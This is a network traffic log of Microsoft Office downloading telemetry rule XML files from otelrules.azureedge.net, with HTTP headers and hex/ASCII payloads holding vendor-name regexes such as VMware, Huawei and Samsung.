2024-11-20 20:05:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:08 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: a1cde93a-f01e-0020-638c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200508Z-r1d97b99577ckpmjhC1TEBrzs000000009fg000000000p22 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:08 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:07 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:08 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200508Z-1777c6cb754xlpjshC1TEBv8cc0000000a2g00000000ybk0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:08 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:08 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:08 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 302bdaed-601e-003e-338c-3a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200508Z-1777c6cb754j8gqphC1TEB5bf800000009vg00000000xefe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:08 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:09 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:10 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:10 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: a56dfe0e-901e-0029-2976-3b274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200510Z-1777c6cb754mqztshC1TEB4mkc0000000a50000000007m3n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:10 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:10 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:10 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200510Z-185f5d8b95cdtclvhC1NYC4rmc0000000axg000000004xzb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:10 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:10 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:10 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 1b8ab84b-001e-0082-570c-3b5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200510Z-r1d97b99577mrt4rhC1TEBftkc000000095g00000000k2kw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:10 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:10 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:10 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c49e358a-d01e-008e-6463-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200510Z-178bfbc474bkvpdnhC1NYCuu2w00000000cg0000000032nq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:10 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:12 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:12 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:12 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200512Z-185f5d8b95csd4bwhC1NYCq7dc0000000an000000000pbw0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:12 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:12 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:12 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:12 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 20c6f849-701e-005c-2e61-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200512Z-178bfbc474bbbqrhhC1NYCvw7400000000g000000000k94s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:12 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:12 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:12 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:12 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 7f65af6f-801e-0067-5f8c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200512Z-1777c6cb754whff4hC1TEBcd6c00000008qg00000000ehh3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:12 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:12 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:12 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:12 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: f65efca2-801e-0035-4104-3b752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200512Z-r1d97b9957744xz5hC1TEB5bf8000000098g00000000719n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:12 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:12 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:12 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 657669b3-a01e-0002-118c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200512Z-1777c6cb7544nvmshC1TEBf7qc00000009xg000000008vgr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:13 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
